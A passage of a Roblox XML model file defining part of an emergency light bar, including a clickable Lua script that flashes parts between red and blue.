											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3683">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-250.600006</X>
											<Y>11.999999</Y>
											<Z>264.5</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">C</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3684">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3685">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>11.999999</Y>
											<Z>262</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">D</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3686">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3687">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-251.600006</X>
											<Y>11.999999</Y>
											<Z>263.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">E</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3688">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3689">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-250.600006</X>
											<Y>11.999999</Y>
											<Z>263.5</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">F</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX3690">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3691">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-249.600006</X>
											<Y>11.5999994</Y>
											<Z>264</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="ClickDetector" referent="RBX3692">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3693">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX3694">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX3695">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX3696">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX3697">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX3698">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>11.5999994</Y>
											<Z>264</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3699">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3700">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3701">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.100006</X>
											<Y>12.3999987</Y>
											<Z>264</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3702">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3703">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="WedgePart" referent="RBX3704">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251.04155</X>
											<Y>11.5896492</Y>
											<Z>261.494232</Z>
											<R00>0.999998629</R00>
											<R01>-0.000250717625</R01>
											<R02>0.00157404237</R02>
											<R10>0.000251085497</R10>
											<R11>0.99999994</R11>
											<R12>-0.000234342529</R12>
											<R20>-0.00157396472</R20>
											<R21>0.000234736712</R21>
											<R22>0.999998748</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">0</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Wedge</string>
